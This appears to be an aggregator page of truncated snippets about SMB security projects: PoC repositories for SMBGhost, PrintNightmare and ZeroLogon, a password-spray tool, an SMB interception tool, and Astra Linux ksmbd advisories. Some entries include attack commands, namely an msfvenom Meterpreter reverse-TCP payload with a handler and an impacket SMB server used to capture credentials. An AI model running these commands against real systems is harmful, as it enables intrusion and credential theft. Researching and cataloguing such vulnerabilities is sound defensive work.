cve-2023-23397-detection-lab

CVE-2023-23397 Detection & Mitigation Research Lab Overview This project is a defensive cybersecurity research lab focused on the network behavior associated with CVE-2023-23397. The project studies suspicious outbound SMB and NTLM authentication from a Windows endpoint and demonstrates a complet...

MSFinger

MSFinger - Microsoft 网络服务指纹识别工具 版本： 1.0 作者： Laurent Gaffie 公司： Secorizon 概述 MSFinger 是一款面向内网侦察的高性能网络指纹识别工具。它能够快速识别 Microsoft 服务、检测安全配置，并突出显示 SMB、LDAP 和 LDAPS 协议中的潜在漏洞。 主要功能： 针对内网优化的快速并发扫描（默认超时 1 秒） SMB/SMB2/SMB3 版本与签名检测 LDAP/LDAPS 签名与通道绑定检测 操作系统版本识别及内部版本号映射 使用 SQLite 数据库持久化保存扫描结果 彩色输出，突出显示安全风险 支持...

CVE-2020-0796-DoS

CVE-2020-0796 DoS PoC SMBGhost 一个利用 CVE-2020-0796 的简单演示。该脚本会在易受攻击的机器上触发蓝屏（BSoD）。 纯 Python 3 编写，无需额外依赖。 使用方法 python CVE-2020-0796-DoS.py 致谢 硬编码的数据包来源于 maxpl0it 的 PoC 脚本。...

SMBetray

SMBetray Versión 1.0.0. Esta herramienta es una Prueba de Concepto PoC para demostrar la capacidad de un atacante de interceptar y modificar conexiones SMB inseguras, así como comprometer algunas conexiones SMB seguras si se conocen las credenciales. Antecedentes Publicado en Defcon26 en "SMBetra...

ntlm-scanner

¡Nuevo! Escaneo de explotación para CVE-2020-1472 ZeroLogon Escanee los controladores de dominio DCs en su red para detectar la explotación real de CVE-2020-1472 Ejemplos: python scan.py -vuln CVE-2020-1472 -target-file targets.txt python scan.py -vuln CVE-2020-1472 -target La herramienta funcion...

MSF_PassSpray_Wordlist_Generator

密码喷洒字典生成器 一款便捷工具，帮助您为 Metasploit 框架创建自己的字典，以便对目标域中的多种网络协议（例如 SMB）执行密码喷洒攻击 :。 描述 Metasploit 拥有多个模块，可用于对各类服务或协议执行暴力破解攻击。以 "SMBLogin" 模块为例，它通过针对开放 SMB 协议的系统测试多个登录凭据来获取目标密码 。 作为道德黑客 ，您可能遇到过因“帐户锁定”策略等限制而无法执行暴力破解的情况。此时，我们可以利用 密码喷洒 技术来绕过检测机制。 暴力破解 密码喷洒...

CVE-2020-0796-POC

CVE-2020-0796 Pre-Auth POC c 2020 ZecOps, Inc. - https://www.zecops.com - Encuentra los errores de los atacantes POC para comprobar CVE-2020-0796 / "SMBGhost" Resultado esperado: Pantalla azul Destinado únicamente a fines educativos y pruebas en entornos corporativos. ZecOps no asume ninguna...

pipe_finder

Pipe Finder 1.0 Automated script to search in SMB protocol for availables pipe names Screenshots Requirements metasploit-framework wget locate pipeauditv2.rb module https://github.com/peterpt/pipeauditorfb - It will be installed on first run Install Requirements apt-get install metasploit-framewo...

CVE-2021-34527

CVE-2021-34527 PrintNightmare PoC 👾 📝 描述 这个简单的 Python 脚本允许你使用 SMB 协议向目标 IP 地址和端口发送 payload。它旨在演示用于教育目的的 SMB 漏洞利用 payload 的使用。该 payload 是一个硬编码的 SMB 消息，包含特定的字节序列。 ⚠️ 重要说明 负责任地使用：此脚本仅供教育目的。请勿将其用于未经授权或恶意活动。 Payload：脚本中包含的 payload 是一个示例，可能无法适用于所有目标或场景。 法律影响：未经授权扫描、测试或利用系统是非法的且不道德的。在使用此脚本之前，请确保你已获得适当授权。...

CVE-2022-24500

CVE-2022-24500 RCE 漏洞利用 Windows SMB 远程代码执行漏洞 受影响版本：Windows 7 - Windows 2022 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24500 步骤 1 msfvenom -p windows/meterpreter/reversetcp LHOST=192.10.22.105 LPORT=4444 -f raw shellcode.bin 步骤 2 msf5 use multi/handler msf5 exploitmulti/handle...

SMBv3.1.1-scan---CVE-2020-0796

SMBv3-scan---CVE-2020-0796 小型扫描器，用于检查机器是否运行SMBv3（可能受CVE-2020-0796漏洞影响）...

CVE-2025-55234

CVE-2025-55234 Esta vulnerabilidad permite a los atacantes realizar ataques de retransmisión contra el protocolo SMB Server Message Block. Si tiene éxito, puede conducir a una elevación de privilegios EoP, permitiendo esencialmente que usuarios no autorizados obtengan acceso de mayor nivel en un...

Astra Linux – Vulnerability found in Linux 5.15, Linux 6.1

In the Linux kernel, the following vulnerabilities have been resolved: ksmbd: The “binding mark” of a reused connection was unset. Steve French reported a null pointer dereference error from the sha256 lib. The cifs.ko module can send session setup requests using a reused connection. If a reused...

Astra Linux – Vulnerability in Linux 5.15

A flaw was discovered in the ksmbd component of the Linux kernel, a high-performance in-kernel SMB server. The specific flaw occurs during the processing of SMB2SESSIONSETUP and SMB2LOGOFF commands. The issue arises due to the lack of proper locking when performing operations on an object. An...

Astra Linux – Vulnerability in Linux 5.15

A flaw was discovered in the ksmbd component of the Linux kernel, a high-performance in-kernel SMB server. The specific flaw resides in the handling of SMB2SESSIONSETUP commands. The issue arises due to a lack of control over resource consumption. An attacker can exploit this vulnerability to...

Astra Linux – Vulnerability in Linux 5.15

A issue was discovered in the Linux kernel before version 6.3.10. The file fs/smb/server/smb2misc.c in ksmbd does not validate the relationship between the command payload size and the RFC1002 length specification, resulting in a out-of-bounds read...

Astra Linux – Vulnerability in Linux 5.15

A issue was discovered in the Linux kernel before version 6.3.9. ksmbd does not validate the SMB request protocol ID, resulting in an out-of-bounds read...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerabilities have been resolved: ksmbd: Fixed an issue where shareconf was freed after use, in compound requests. smb2getksmbdtcon reuses work-tcon in compound requests without validating tcon-tstate. ksmbdtreeconnlookup checks that tstate is equal to...

CVE-2025-24071-POC

sudo apt update sudo apt install wine wine CVE-2025-24071-POC.exe -i 10.10.14.8 -n try ZIP creado: try.zip impacket-smbserver: smbserver.py try /root/smbshare -smb2support -ip 10.10.14.8 -debug Impacket Exegol fork v0.13.0.dev0+20250723.125503.b5db2dd7 - Copyright Fortra, LLC and its affiliated...

PT-2026-82703

Name of the Vulnerable Software and Affected Versions Spring Integration versions 6.4.0 through 6.4.12 Spring Integration versions 6.5.0 through 6.5.10 Spring Integration versions 7.0.0 through 7.0.5 Spring Integration version 7.1.0 Description The jCIFS client may negotiate down to SMB1/CIFS if...